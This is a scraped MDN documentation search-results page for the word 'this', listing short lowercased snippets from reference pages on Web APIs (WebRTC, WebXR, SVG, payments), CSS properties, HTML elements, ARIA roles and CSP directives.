Using the Media Capabilities API - Web APIs
in short,
this api replaces—and improves upon—the mediasource method istypesupported() or the htmlmediaelement method canplaytype().
...one feature of
this is the ability to detect when the device switches gpus, so you can make appropriate adjustments based on the new gpu's capabilities.
...
this returns a promise that fulfills with information about the media capabilities as to whether the video can be decoded, and whether decoding will be smooth and power efficient.
...And 4 more matches
Transcoding assets for Media Source Extensions - Web APIs
this article takes you through the requirements and shows you a toolchain you can use to encode your assets appropriately.
... below we'll cover all of these steps, but first let's look at a toolchain we can use to do
this fairly easily.
... throughout
this tutorial, you'll see the filename trailer_1080p.mov which is the download.
...And 4 more matches
MessageEvent - Web APIs
this is used to represent messages in: server-sent events (see eventsource.onmessage).
... the action triggered by
this event is defined in a function set as the event handler for the relevant message event (e.g.
... note:
this feature is available in web workers.
...And 4 more matches
Microdata DOM API - Web APIs
you can't use them anymore and
this document is kept as information only.
... code example
this sample shows how the getitems() method can be used to obtain a list of all the top-level microdata items of a particular type given in the document: var cats = document.getitems("http://example.com/feline"); once an element representing an item has been obtained, its properties can be extracted using the properties idl attribute.
...
this attribute returns an htmlpropertiescollection, which can be enumerated to go through each element that adds one or more properties to the item.
...And 4 more matches
msPlayToPreferredSourceUri - Web APIs
non-standard
this feature is non-standard and is not on a standards track.
...
this enables the playto target device to stream the media content, which can be drm protected, from a different location, such as a cloud media server.
...
this proprietary property is specific to internet explorer and microsoft edge.
...And 4 more matches
Online and offline events - Web APIs
it is
this process that online/offline events help to simplify.
...
this property is updated whenever the user switches into "offline mode" by selecting the corresponding menu item (file -> work offline in firefox).
... additionally,
this property should update whenever a browser is no longer capable of connecting to the network.
...And 4 more matches
NodeFilter - Web APIs
note: the browser doesn't provide any object implementing
this interface.
... properties
this interface neither implements nor inherits any properties.
... methods
this interface doesn't inherit any methods.
...And 4 more matches
NodeIterator - Web APIs
syntax a nodeiterator can be created using the document.createnodeiterator() method, as follows: const nodeiterator = document.createnodeiterator(root, whattoshow, filter); properties
this interface doesn't inherit any property.
...
this is meaningful only when creating a nodeiterator with an attr node as its root; in
this case, it means that the attribute node will appear in the first position of the iteration or traversal.
...
this is meaningful only when creating a nodeiterator with an entity node as its root; in
this case, it means that the entity node will appear in the first position of the traversal.
...And 4 more matches
OVR_multiview2 - Web APIs
this especially useful for virtual reality (vr) and webxr.
...
this extension is only available to webgl 2 contexts as it needs glsl 3.00 and texture arrays.
...see also
this webgl issue.
...And 4 more matches
PannerNode.orientationX - Web APIs
the audioparam contained by
this property is read only; however, you can still change the value of the parameter by assigning a new value to its audioparam.value property.
... example in
this example, we'll demonstrate how changing the orientation parameters of a pannernode in combination with coneinnerangle and coneouterangle affects volume.
...however, normally
this would mean the pannernode points to the left of the listener at 0° rotation – since `x = cos(0) = 1` and `z = sin(0) = 0`.
...And 4 more matches
PannerNode.orientationY - Web APIs
the audioparam contained by
this property is read only; however, you can still change the value of the parameter by assigning a new value to its audioparam.value property.
... example in
this example, we'll demonstrate how changing the orientation parameters of a pannernode in combination with coneinnerangle and coneouterangle affects volume.
...however, normally
this would mean the pannernode points to the left of the listener at 0° rotation – since `x = cos(0) = 1` and `z = sin(0) = 0`.
...And 4 more matches
PannerNode.orientationZ - Web APIs
the audioparam contained by
this property is read only; however, you can still change the value of the parameter by assigning a new value to its audioparam.value property.
... example in
this example, we'll demonstrate how changing the orientation parameters of a pannernode in combination with coneinnerangle and coneouterangle affects volume.
...however, normally
this would mean the pannernode points to the left of the listener at 0° rotation – since `x = cos(0) = 1` and `z = sin(0) = 0`.
...And 4 more matches
ParentNode.childElementCount - Web APIs
this property was initially defined in the elementtraversal pure interface.
... as
this interface contained two distinct set of properties, one aimed at node that have children, one at those that are children, they have been moved into two separate pure interfaces, parentnode and childnode.
... in
this case, childelementcount moved to parentnode.
...And 4 more matches
PaymentCurrencyAmount.value - Web APIs
the contents of
this string must be a valid decimal number; that is, some number of digits between 0 and 9 with up to one optional decimal point.
... important note: the number given in
this string is always specified using the period (".") as the decimal point, rather than the comma (","), even if the user's locale normally uses the comma.
... you must convert the entered text to
this form or it will not be valid.
...And 4 more matches
PaymentResponse.complete() - Web APIs
this method must be called after the user accepts the payment request and the promise returned by the paymentrequest.show() method is resolved.
...
this is the default value.
... browser compatibility the compatibility table on
this page is generated from structured data.
...And 4 more matches
PaymentResponse.details - Web APIs
this data is returned by the payment app that satisfies the payment request, and must conform to the structure defined in the basiccardresponse dictionary.
...in a real-world implementation
this data would then be sent to a payment server.
... browser compatibility the compatibility table on
this page is generated from structured data.
...And 4 more matches
RTCDataChannel - Web APIs
if no protocol was specified when the data channel was created, then
this property's value is "" (the empty string).readystate read only the read-only rtcdatachannel property readystate returns an enum of type rtcdatachannelstate which indicates the state of the data channel's underlying data connection.reliable read only the read-only rtcdatachannel property reliable indicates whether or not the data channel is reliable.stream read only the deprecated (and n...
...
this event, which is represented by a simple event object, is sent when the amount of data buffered to be sent falls to or below the threshold specified by the channel's bufferedamountlowthreshold.onclose the rtcdatachannel.onclose property is an eventhandler which specifies a function to be called by the browser when the close event is received by the rtcdatachannel.
...
this is a simple event which indicates that the data channel has closed down.onclosing the rtcdatachannel.onclosing property is an eventhandler which specifies a function to be called by the browser when the closing event is received by the rtcdatachannel.
...And 4 more matches
RTCInboundRtpStreamStats.qpSum - Web APIs
the qpsum property of the rtcinboundrtpstreamstats dictionary is a value generated by adding the quantization parameter (qp) values for every frame sent or received to date on the video track corresponding to
this rtcinboundrtpstreamstats object.
... in general, the higher
this number is, the more heavily compressed the video data is.
...since the value of qp is typically larger to indicate higher compression factors, the larger
this sum is, the more heavily compressed the stream generally has been.
...And 4 more matches
RTCOutboundRtpStreamStats.qpSum - Web APIs
the qpsum property of the rtcoutboundrtpstreamstats dictionary is a value generated by adding the quantization parameter (qp) values for every frame
this sender has produced to date on the video track corresponding to
this rtcoutboundrtpstreamstats object.
... in general, the higher
this number is, the more heavily compressed the video data is.
...since the value of qp is typically larger to indicate higher compression factors, the larger
this sum is, the more heavily compressed the stream generally has been.
...And 4 more matches
RTCRtpStreamStats.qpSum - Web APIs
the qpsum property of the rtcrtpstreamstats dictionary is a value generated by adding the quantization parameter (qp) values for every frame sent or received to date on the video track corresponding to
this rtcrtpstreamstats object.
... in general, the higher
this number is, the more heavily compressed the video data is.
...since the value of qp is typically larger to indicate higher compression factors, the larger
this sum is, the more heavily compressed the stream generally has been.
...And 4 more matches
RTCSessionDescription() - Web APIs
this constructor has been deprecated because rtcpeerconnection.setlocaldescription() and other methods which take sdp as input now directly accept an object conforming to the rtcsessiondescriptioninit dictionary, so you don't have to instantiate an rtcsessiondescription yourself.
...a string which is a member of the rtcsdptype enum; it must have one of the following values:
this enum defines strings that describe the current state of the session description, as used in the type property.
...in other words,
this session description describes the agreed-upon configuration, and is being sent to finalize negotiation.
...And 4 more matches
RTCStatsIceCandidatePairState - Web APIs
this represents the state of
this candidate pair within the ice check list for the rtcpeerconnection.
... values failed a check for
this pair has been performed but failed.
... frozen no check has been performed yet for
this candidate pair, and performing the check is blocked until another check is successful.
...And 4 more matches
SVGAnimationElement - Web APIs
imationelement" target="_top"><rect x="291" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="386" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svganimationelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface also inherits properties from its parent, svgelement.
... methods
this interface also inherits methods from its parent, svgelement.
... svganimationelement.getstarttime() returns a float representing the begin time, in seconds, for
this animation element's current interval, if it exists, regardless of whether the interval has begun yet.
...And 4 more matches
SVGCircleElement - Web APIs
svgcircleelement" target="_top"><rect x="-119" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="-39" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgcircleelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface also inherits properties from its parent, svggeometryelement.
... svgcircleelement.cx read only
this property defines the x-coordinate of the center of the <circle> element.
... svgcircleelement.cy read only
this property defines the y-coordinate of the center of the <circle> element.
...And 4 more matches
SVGLengthList - Web APIs
if the inserted item is already in a list, it is removed from its previous list before it is inserted into
this list.
...if newitem is already in a list, it is removed from its previous list before it is inserted into
this list.
...if the item is already in
this list, note that the index of the item to insert before is before the removal of the item.
...And 4 more matches
SVGNumberList - Web APIs
if the inserted item is already in a list, it is removed from its previous list before it is inserted into
this list.
... if newitem is already in a list, it is removed from its previous list before it is inserted into
this list.
...if the item is already in
this list, note that the index of the item to insert before is before the removal of the item.
...And 4 more matches
SVGPathSegList - Web APIs
svg path segment list interface
this interface defines a list of svgpathseg objects.
...if the inserted item is already in a list, it is removed from its previous list before it is inserted into
this list.
... if newitem is already in a list, it is removed from its previous list before it is inserted into
this list.
...And 4 more matches
Sensor APIs - Web APIs
making all
this information consistently available is costly to performance and battery life.
...
this is where defensive programming is needed.
...
this is not something that would ever be shown to a user.
...And 4 more matches
ServiceWorkerRegistration - Web APIs
note:
this feature is available in web workers.
...
this must be on the same origin as the document that registers the serviceworker.
...
this is initially set to null.
...And 4 more matches
ServiceWorkerState - Web APIs
values installing the service worker in
this state is considered an installing worker.
... during
this state, extendableevent.waituntil() can be called inside the install event handler to extend the life of the installing worker until the passed promise resolves successfully.
...
this is primarily used to ensure that the service worker is not active until all of the core caches are populated.
...And 4 more matches
SourceBuffer - Web APIs
this can be made up of one or several media segments.
...
this is a timestamp range that can be used to filter what media data is appended to the sourcebuffer.
... coded media frames with timestamps within
this range will be appended, whereas those outside the range will be filtered out.
...And 4 more matches
SubtleCrypto.deriveKey() - Web APIs
see supported algorithms for some more detail on
this.
...if algorithm is ecdh, then
this will be the ecdh private key.
...they can then use
this shared secret as a symmetric key to secure their communication, or can use the secret as an input to derive such a key (for example, using the hkdf algorithm).
...And 4 more matches
SubtleCrypto - Web APIs
warning:
this api provides a number of low-level cryptographic primitives.
... if you're not sure you know what you are doing, you probably shouldn't be using
this api.
... properties
this interface doesn't inherit any properties, as it has no parent interface.
...And 4 more matches
USBEndpoint - Web APIs
properties usbendpoint.endpointnumber returns
this endpoint's "endpoint number" which is a value from 1 to 15 extracted from the bendpointaddress field of the endpoint descriptor defining
this endpoint.
...
this value is used to identify the endpoint when calling methods on usbdevice.
... usbendpoint.direction returns the direction in which
this endpoint transfers data, one of: "in" - data is transferred from device to host.
...And 4 more matches
Animating objects with WebGL - Web APIs
« previousnext » in
this example, we'll actually rotate our square plane.
...
this example uses the glmatrix library to perform its matrix and vertex math.
... you'll need to include it if you create your own project based on
this code.
...And 4 more matches
Getting started with WebGL - Web APIs
this article will introduce you to the basics of using webgl.
... it's assumed that you already have an understanding of the mathematics involved in 3d graphics, and
this article doesn't pretend to try to teach you 3d graphics concepts itself.
... the code examples in
this tutorial can also be found in the webgl-examples github repository.
...And 4 more matches
WebXR performance guide - Web APIs
in
this guide, we'll examine a variety of suggestions and recommendations that will help you make your webxr app as performant as possible.
...
this section will come in part from https://github.com/immersive-web/webxr/blob/master/explainer.md#controlling-rendering-quality managing frame rate ...
...
this section will combine information from https://github.com/immersive-web/webxr/blob/master/explainer.md#controlling-depth-precision and https://github.com/immersive-web/webxr/blob/master/explainer.md#preventing-the-compositor-from-using-the-depth-buffer optimizing memory use when using libraries that perform things such as matrix mathematics, you typically have a number of working variables through which various vectors, matrices, and quaternions pass over time.
...And 4 more matches
Functions and classes available to Web Workers - Web APIs
this article provides a list of those.
...across the network.) 39 (39) (mostly in 34 (34) behind pref, although a few features are later.) no support 42 41 behind pref 10.1 filereader
this api allows asynchronous read of blob and file objects.
... 46 (46) no support (yes) no support filereadersync
this api allows synchronous read of blob and file objects.
...And 4 more matches
Window.event - Web APIs
you should avoid using
this property in new code, and should instead use the event passed into the event handler function.
...
this property is not universally supported and even when supported introduces potential fragility to your code.
... note:
this property can be fragile, in that there may be situations in which the returned event is not the expected value.
...And 4 more matches
Window.openDialog() - Web APIs
note that
this also means the user won't be able to interact with the opener window until he closes the modal dialog.
...these can be overridden (so "menubar=no,all" turns on all chrome except the menubar.)
this feature is explicitly ignored by window.open().
... passing extra parameters to the dialog to pass extra parameters into the dialog, you can simply supply them after the windowfeatures parameter: opendialog("http://example.tld/zzz.xul", "dlg", "", "pizza", 6.98); the extra parameters will then get packed into a property named arguments of type array, and
this property gets added to the newly opened dialog window.
...And 4 more matches
Window.requestAnimationFrame() - Web APIs
you should call
this method whenever you're ready to update your animation onscreen.
...
this will request that your animation function be called before the browser performs the next repaint.
...
this timestamp is a decimal number, in milliseconds, but with a minimal precision of 1ms (1000 µs).
...And 4 more matches
WritableStream - Web APIs
this object comes with built-in backpressure and queuing.
...while the stream is locked, no other writer can be acquired until
this one is released.
... examples the following example illustrates several features of
this interface.
...And 4 more matches
XMLHttpRequest - Web APIs
this enables a web page to update just part of a page without disrupting what the user is doing.
... properties
this interface also inherits properties of xmlhttprequesteventtarget and of eventtarget.
...unlike xmlhttprequest.status,
this includes the entire text of the response message ("200 ok", for example).
...And 4 more matches
XMLHttpRequestEventTarget - Web APIs
x="276" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">xmlhttprequesteventtarget</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties xmlhttprequesteventtarget.onabort contains the function to call when a request is aborted and the abort event is received by
this object.
... xmlhttprequesteventtarget.onerror contains the function to call when a request encounters an error and the error event is received by
this object.
... xmlhttprequesteventtarget.onload contains the function to call when an http request returns after successfully fetching content and the load event is received by
this object.
...And 4 more matches
XRReferenceSpace: reset event - Web APIs
this is common when the user calibrates or recalibrates an xr device, or if the device automatically changes its origin after losing tracking of the user, then re-gaining it.
...
this is primarily an issue for local or local-floor reference spaces.
...
this event is only fired when the origin has to be relocated to recover from the tracking loss.
...And 4 more matches
XRView.transform - Web APIs
if you instead need the more traditional view matrix, you can get using view.transform.inverse.matrix;
this gets the underlying matrix of the transform's inverse.
...you can then use the inverse of
this matrix to transform the objects in your scene to adjust their placement and orientation to simulate the viewer's movement through space.
... in
this example, we see an outline of a code fragment used while rendering an xrframe, which makes use of the view transform to place objects in the world during rendering.
...And 4 more matches
msWriteProfilerMark - Web APIs
non-standard
this feature is non-standard and is not on a standards track.
...
this proprietary method is specific to internet explorer and microsoft edge.
...
this parameter may be null.
...And 4 more matches
Using the aria-invalid attribute - Accessibility
description
this technique demonstrates how to use the aria-invalid attribute.
... the aria-invalid attribute is used to indicate that the value entered into an input field does not conform to the format expected by the application.
this may include formats such as email addresses or telephone numbers.
...
this attribute can be used with any typical html form element; it is not limited to elements that have an aria role assigned.
...And 4 more matches
ARIA: timer role - Accessibility
<div role="timer" id="eggtimer">0</div>
this defines
this div element as a timer with no remaining time.
... description the timer role indicates to assistive technologies that
this part of the web content is a live region containing a timer listing the time remaining or elapsed time.
... aria-describedby used to indicate the idref of an element that contains additional instructions for navigating or operating
this element.
...And 4 more matches
ARIA: dialog role - Accessibility
the best way to achieve
this is by using the aria-labelledby attribute to the role="dialog" element.
... additionally, if the dialog contains additional descriptive text besides the dialog title,
this text can be associated with the dialog using the aria-describedby attribute.
...
this approach is shown in the code snippet below: <div role="dialog" aria-labelledby="dialog1title" aria-describedby="dialog1desc"> <h2 id="dialog1title">your personal details were successfully updated</h2> <p id="dialog1desc">you can change your details at any time in the user account section.</p> <button>close</button> </div> keep in mind that a dialog's title and description text do not have to be focusable in order to be perceived by screen readers operating in a non-virtual mode.
...And 4 more matches
Accessibility Information for Web Authors - Accessibility
how-to's key-navigable custom dhtml widgets in mozilla & ie
this document discusses how to use tabindex, element.focus() and onkeypress to make custom dhtml widgets such as menus or tree views keyboard accessible.
... html advanced validator (firefox extension) by marc gueury
this html validator (based on w3c tidy and on opensp for sgml validation) is a powerful, versatile, extended html validator.
...
this html advanced validator firefox extension is very resourceful and highly customizable.
...And 4 more matches
:host-context() - CSS: Cascading Style Sheets
in other words,
this allows a custom element, or anything within that custom element's shadow dom, to apply different styles based on its position within the outer dom or classes/attributes applied to ancestor elements.
... one typical use of
this is with a descendant selector expression — for example h1 — to select only instances of the custom element that are inside an <h1>.
... note:
this has no effect when used outside a shadow dom.
...And 4 more matches
Resizing background images with background-size - CSS: Cascading Style Sheets
we want (for some reason likely involving horrifyingly bad site design) to tile four copies of
this image into a 300x300-pixel element.
... to do
this, we can use a fixed background-size value of 150 pixels.
... html <div class="tiledbackground"> </div> css .tiledbackground { background-image: url(https://www.mozilla.org/media/img/logos/firefox/logo-quantum.9c5e96634f92.png); background-size: 150px; width: 300px; height: 300px; border: 2px solid; color: pink; } result stretching an image you can also specify both the horizontal and vertical sizes of the image, like
this: background-size: 300px 150px; the result looks like
this: scaling an image up on the other end of the spectrum, you can scale an image up in the background.
...And 4 more matches
Handling Overflow in Multicol - CSS: Cascading Style Sheets
in
this guide we look at how multicol deals with overflow, both inside the column boxes and in situations where there is more content than will fit into the container.
... in
this situation, the content should visibly overflow into the next column, rather than be clipped by the column box.
... you can see an example of
this below, with an image of the expected rendering as, at the time of writing, browsers deal with
this differently.
...And 4 more matches
Styling Columns - CSS: Cascading Style Sheets
this guide explains how to change the gap and style rules between columns.
...
this property was originally defined in the multi-column layout specification.
...
this means your columns will not run into each other.
...And 4 more matches
Cross-browser Flexbox mixins - CSS: Cascading Style Sheets
this article provides a set of mixins for those who want to mess around with flexbox using the native support of current browsers.
...
this set uses: fallbacks using 2009 'box' syntax (ff and older webkit) and prefixed syntaxes (ie10, webkit browsers without flex wrapping) final standards syntax (ff, safari, chrome, ie11+, edge, opera)
this was inspired by: http://dev.opera.com/articles/view/advanced-cross-browser-flexbox/ with help from: http://w3.org/tr/css3-flexbox/ http://the-echoplex.net/flexyboxes/ http://msdn.microsoft.com/en-us/library/ie/hh772069(v=vs.85).aspx http://css-tricks.com/using-flexbox/ a complete guide to flexbox | css-tricks visual guide to css3 flexbox: flexbox playground | note: mixins are not currently supported natively in browsers.
... values: flex | inline-flex spec: https://drafts.csswg.org/css-flexbox/#flex-containers @mixin flexbox { display: -webkit-box; display: -moz-box; display: -webkit-flex; display: -ms-flexbox; display: flex; } //using
this mixin %flexbox { @include flexbox; } @mixin inline-flex { display: -webkit-inline-box; display: -moz-inline-box; display: -webkit-inline-flex; display: -ms-inline-flexbox; display: inline-flex; } %inline-flex { @include inline-flex; } flexbox direction the flex-direction property specifies how flex items are placed in the flex container, by setting the direction of the flex contai...
...And 4 more matches
Browser compatibility and Scroll Snap - CSS: Cascading Style Sheets
in
this article, we consider questions that might arise related to compatibility across browsers and versions of browsers when adding support for scroll-snap to your web site or app.
...
this will ensure your scroll snapping works in all browsers which implement the specification, including firefox.
... if you do not do
this your scroll snapping will no longer work in firefox 68 and up.
...And 4 more matches
Cookbook template - CSS: Cascading Style Sheets
note:
this is a template page for a css cookbook page.
... please use
this as a raw template when you create a new cookbook page.
... description of the problem
this recipe solves or the pattern you are demonstrating.
...And 4 more matches
align-content - CSS: Cascading Style Sheets
the interactive example below use grid layout to demonstrate some of the values of
this property.
... the source for
this interactive example is stored in a github repository.
...
this property has no effect on single line flex containers (i.e.
...And 4 more matches
animation-delay - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this may be specified in either seconds (s) or milliseconds (ms).
... browser compatibility the compatibility table on
this page is generated from structured data.
...And 4 more matches
clear - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this affects the position of later floats, since later floats cannot be positioned higher than earlier ones.
...
this is called clearfix, and one way to do it is to add clear to a replaced ::after pseudo-element on it.
...And 4 more matches
conic-gradient() - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...for
this reason, conic-gradient() won't work on background-color and other properties that use the <color> data type.
...browsers supporting conic gradients also accept percent values, with 100% equaling 360 degrees, but
this is not in the specification.
...And 4 more matches
filter - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this function is similar to the more established box-shadow property; the difference is that with filters, some browsers provide hardware acceleration for better performance.
... <blur-radius> (optional)
this is a third <length> value.
...And 4 more matches
flex - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... constituent properties
this property is a shorthand for the following css properties: flex-grow flex-shrink flex-basis syntax /* keyword values */ flex: auto; flex: initial; flex: none; /* one value, unitless number: flex-grow */ flex: 2; /* one value, width/height: flex-basis */ flex: 10em; flex: 30%; flex: min-content; /* two values: flex-grow | flex-basis */ flex: 1 30px; /* two values: flex-grow | flex-shrink */ flex: 2 2; /* three values: flex-grow | flex-shrink | flex-basis */ flex: 2 2 10%; /* global values */ flex: inherit; flex: initial; flex: unset; the flex property may be specified using one, two, or three values.
... one-value syntax: the value must be one of: a <number>: in
this case it is interpreted as flex: <number> 1 0; the <flex-shrink> value is assumed to be 1 and the <flex-basis> value is assumed to be 0.
...And 4 more matches
font-size - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this is an os-independent and cross-browser way of literally telling the browsers to render the letters at exactly the number of pixels in height that you specified.
... in order to calculate the em equivalent for any pixel value required, you can use
this formula: em = desired element pixel value / parent element font-size in pixels for example, suppose the font-size of the body of the page is set to 16px.
...And 4 more matches
grid-column-start - CSS: Cascading Style Sheets
this start position defines the block-start edge of the grid area.
... the source for
this interactive example is stored in a github repository.
...> value */ grid-column-start: somegridarea; /* <integer> + <custom-ident> values */ grid-column-start: 2; grid-column-start: somegridarea 4; /* span + <integer> + <custom-ident> values */ grid-column-start: span 3; grid-column-start: span somegridarea; grid-column-start: span somegridarea 5; /* global values */ grid-column-start: inherit; grid-column-start: initial; grid-column-start: unset;
this property is specified as a single <grid-line> value.
...And 4 more matches
image() - CSS: Cascading Style Sheets
unlike declaring a background-color, which is placed under or behind all the background images,
this can be used to put (generally semi-transparent) colors over other images.
...
this is different from the background-color, which sets a color to cover the entire element.
...
this is important primarily for screen readers, as a screen reader will not announce its presence and therefore convey nothing to its users.
...And 4 more matches
list-style - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... note:
this property is applied to list items, i.e., elements with display: list-item; .
... by default
this includes <li> elements.
...And 4 more matches
text-rendering - CSS: Cascading Style Sheets
however, gecko and webkit browsers let you apply
this property to html and xml content on windows, macos, and linux.
...for differences in how
this value is interpreted by the browser, see the compatibility table.
...
this enables kerning and optional ligatures.
...And 4 more matches
text-underline-position - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...if the font file doesn't include
this information, behave as if auto was set, with the browser choosing an appropriate position.
...
this is useful for ensuring legibility with chemical and mathematical formulas, which make a large use of subscripts.
...And 4 more matches
CSS: Cascading Style Sheets
this module provides a gentle beginning to your path towards css mastery with the basics of how it works, what the syntax looks like, and how you can start using it to add styling to html.
... css building blocks
this module carries on where css first steps left off — now you've gained familiarity with the language and its syntax, and got some basic experience with using it, its time to dive a bit deeper.
...
this module looks at the cascade and inheritance, all the selector types we have available, units, sizing, styling backgrounds and borders, debugging, and lots more.
...And 4 more matches
Event developer guide - Developer guides
there are many other sources of events defined by web browsers for which pages are not yet available in
this guide.
... note:
this event developer guide needs substantial work.
... docs creating and triggering events
this article demonstrates how to create and dispatch dom events.
...And 4 more matches
Using HTML sections and outlines - Developer guides
this is often useful if you want to add css selectors to the class property of the element to style the document.
... using html5 elements in non-html5 browsers sections and headings elements can be made to work in most non-html5 browsers with a couple of extra steps, and in
this section we'll show you how.
...however, global usage of these browsers is now very small, so
this is unlikely.
...And 4 more matches
<h1>–<h6>: The HTML Section Heading elements - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... <h1>heading level 1</h1> <h2>heading level 2</h2> <h3>heading level 3</h3> <h4>heading level 4</h4> <h5>heading level 5</h5> <h6>heading level 6</h6> here is the result of
this code: example page the following code shows a few headings with some content under them.
... <h1>heading elements</h1> <h2>summary</h2> <p>some text here...</p> <h2>examples</h2> <h3>example 1</h3> <p>some text here...</p> <h3>example 2</h3> <p>some text here...</p> <h2>see also</h2> <p>some text here...</p> here is the result of
this code: accessibility concerns navigation a common navigation technique for users of screen reading software is jumping from heading to heading to quickly determine the content of the page.
...And 4 more matches
<blockquote>: The Block Quotation element - HTML: Hypertext Markup Language
usually,
this is rendered visually by indentation (see notes for how to change it).
... the source for
this interactive example is stored in a github repository.
... implicit aria role no corresponding role permitted aria roles any dom interface htmlquoteelement attributes
this element's attributes include the global attributes.
...And 4 more matches
<del>: The Deleted Text element - HTML: Hypertext Markup Language
this can be used when rendering "track changes" or source code diff information, for example.
... the source for
this interactive example is stored in a github repository.
...
this element is often (but need not be) rendered by applying a strike-through style to the text.
...And 4 more matches
<dl>: The Description List element - HTML: Hypertext Markup Language
common uses for
this element are to implement a glossary or to display metadata (a list of key-value pairs).
... the source for
this interactive example is stored in a github repository.
... implicit aria role no corresponding role permitted aria roles group, list, none, presentation dom interface htmldlistelement attributes
this element only includes the global attributes.
...And 4 more matches
<i>: The Idiomatic Text element - HTML: Hypertext Markup Language
historically, these have been presented using italicized type, which is the original source of the <i> naming of
this element.
... the source for
this interactive example is stored in a github repository.
... implicit aria role no corresponding role permitted aria roles any dom interface htmlelement attributes
this element only includes the global attributes.
...And 4 more matches
<input type="reset"> - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... <input type="reset" value="reset the form"> if you don't specify a value, you get an button with the default label (typically "reset," but
this will vary depending on the user agent): <input type="reset"> using reset buttons <input type="reset"> buttons are used to reset forms.
... a simple reset button we'll begin by creating a simple reset button: <form> <div> <label for="example">type in some sample text</label> <input id="example" type="text"> </div> <div> <input type="reset" value="reset the form"> </div> </form>
this renders like so: try entering some text into the text field, and then pressing the reset button.
...And 4 more matches
<listing> - HTML: Hypertext Markup Language
note: do not use
this element.
... attributes
this element has no other attributes than the global attributes, common to all elements.
... dom interface
this element implements the htmlelement interface.
...And 4 more matches
<source>: The Media or Image Source element - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmlsourceelement attributes
this element includes the global attributes.
... media media query of the resource's intended media;
this should be used only in a <picture> element.
...And 4 more matches
<strong>: The Strong Importance element - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... implicit aria role no corresponding role permitted aria roles any dom interface htmlelement attributes
this element only includes the global attributes.
...
this could be a sentence that is of great importance to the whole page, or you could merely try to point out that some words are of greater importance compared to nearby content.
...And 4 more matches
<ul>: The Unordered List element - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... implicit aria role list permitted aria roles directory, group, listbox, menu, menubar, none, presentation, radiogroup, tablist, toolbar, tree dom interface htmlulistelement attributes
this element includes the global attributes.
... compact
this boolean attribute hints that the list should be rendered in a compact style.
...And 4 more matches
Inline elements - HTML: Hypertext Markup Language
since
this is a presentational characteristic it is nowadays specified by css in the flow layout.
...in
this article, we'll examine html inline-level elements and how they differ from block-level elements.
...block-level elements: a demonstration
this is most easily demonstrated with a simple example.
...And 4 more matches
Microformats - HTML: Hypertext Markup Language
search engines benefit greatly from direct access to
this structured data because it allows them to understand the information on web pages and provide more relevant results to users.
...for example if they wanted to identify themselves they could use an h-card such as: html example <a class="h-card" href="http://alice.example.com">alice blogger</a> when a parser encounters
this data, it will know that
this page contains a "card" which describes a person or organization named alice blogger with a url of http://alice.example.com/.
... the parser makes
this data available via apis that can be used for different applications.
...And 4 more matches
Resource URLs - HTTP
non-standard
this feature is non-standard and is not on a standards track.
... in
this article, we focus on resource uris, which are used internally by firefox to point to built-in resources.
...for example: http://searchfox.org/mozilla-central/rev/48ea452803907f2575d81021e8678634e8067fc2/browser/app/profile/firefox.js#575 web sites can easily collect firefox default preferences by overriding
this pref() function and using the script resource:///defaults/preferences/firefox.js.
...And 4 more matches
CSP: child-src - HTTP
if
this directive is absent, the user agent will look for the default-src directive.
...
this is insecure; an attacker can also inject arbitrary data: uris.
... use
this sparingly and definitely not for scripts.
...And 4 more matches
CSP: connect-src - HTTP
if
this directive is absent, the user agent will look for the default-src directive.
...
this is insecure; an attacker can also inject arbitrary data: uris.
... use
this sparingly and definitely not for scripts.
...And 4 more matches
CSP: font-src - HTTP
if
this directive is absent, the user agent will look for the default-src directive.
...
this is insecure; an attacker can also inject arbitrary data: uris.
... use
this sparingly and definitely not for scripts.
...And 4 more matches
CSP: form-action - HTTP
whether form-action should block redirects after a form submission is debated and browser implementations of
this aspect are inconsistent (e.g.
...not setting
this allows anything.
...
this is insecure; an attacker can also inject arbitrary data: uris.
...And 4 more matches
CSP: frame-src - HTTP
csp version 1 directive type fetch directive fallback if
this directive is absent, the user agent will look for the child-src directive (which falls back to the default-src directive).
...
this is insecure; an attacker can also inject arbitrary data: uris.
... use
this sparingly and definitely not for scripts.
...And 4 more matches
CSP: img-src - HTTP
if
this directive is absent, the user agent will look for the default-src directive.
...
this is insecure; an attacker can also inject arbitrary data: uris.
... use
this sparingly and definitely not for scripts.
...And 4 more matches
CSP: manifest-src - HTTP
if
this directive is absent, the user agent will look for the default-src directive.
...
this is insecure; an attacker can also inject arbitrary data: uris.
... use
this sparingly and definitely not for scripts.
...And 4 more matches
CSP: media-src - HTTP
if
this directive is absent, the user agent will look for the default-src directive.
...
this is insecure; an attacker can also inject arbitrary data: uris.
... use
this sparingly and definitely not for scripts.
...And 4 more matches
CSP: navigate-to - HTTP
this is an enforcement on what navigations
this document initiates not on what
this document is allowed to navigate to.
...not setting
this allows anything.
...
this is insecure; an attacker can also inject arbitrary data: uris.
...And 4 more matches
CSP: sandbox - HTTP
csp version 1.1 / 2 directive type document directive
this directive is not supported in the <meta> element or by the content-security-policy-report-only header field.
